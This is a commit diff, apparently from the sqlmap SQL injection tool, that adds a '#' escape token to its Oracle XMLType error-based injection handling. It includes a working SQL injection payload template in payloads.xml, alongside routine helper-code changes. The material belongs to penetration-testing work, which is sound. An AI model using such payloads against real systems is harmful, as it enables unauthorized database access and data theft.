Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit ac5a752

Browse files
committed
Oracle's XMLType doesn't like '#' char too
1 parent 761ec75 commit ac5a752

4 files changed

Lines changed: 6 additions & 6 deletions

File tree

lib/core/agent.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -217,7 +217,8 @@ def cleanupPayload(self, payload, origValue=None):
217217
_ = (
218218
("[RANDNUM]", str(randInt)), ("[RANDNUM1]", str(randInt1)), ("[RANDSTR]", randStr),\
219219
("[RANDSTR1]", randStr1), ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
220-
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar)
220+
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
221+
("[HASH_REPLACE]", kb.chars.hash_)
221222
)
222223
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
223224

lib/core/option.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1502,9 +1502,8 @@ def __setKnowledgeBaseAttributes(flushAll=True):
15021502
kb.chars.delimiter = randomStr(length=6, lowercase=True)
15031503
kb.chars.start = ":%s:" % randomStr(length=3, lowercase=True)
15041504
kb.chars.stop = ":%s:" % randomStr(length=3, lowercase=True)
1505-
kb.chars.at = ":%s:" % randomStr(length=1, lowercase=True)
1506-
kb.chars.space = ":%s:" % randomStr(length=1, lowercase=True)
1507-
kb.chars.dollar = ":%s:" % randomStr(length=1, lowercase=True)
1505+
1506+
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (":%s:" % _ for _ in randomStr(length=4, lowercase=True))
15081507

15091508
if flushAll:
15101509
kb.headerPaths = {}

lib/techniques/error/use.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -180,7 +180,7 @@ def __errorReplaceChars(value):
180180
retVal = value
181181

182182
if value:
183-
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@")
183+
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
184184

185185
return retVal
186186

xml/payloads.xml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1242,7 +1242,7 @@ Formats:
12421242
<risk>0</risk>
12431243
<clause>1</clause>
12441244
<where>1</where>
1245-
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
1245+
<vector>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
12461246
<request>
12471247
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
12481248
</request>

0 commit comments

Comments
 (0)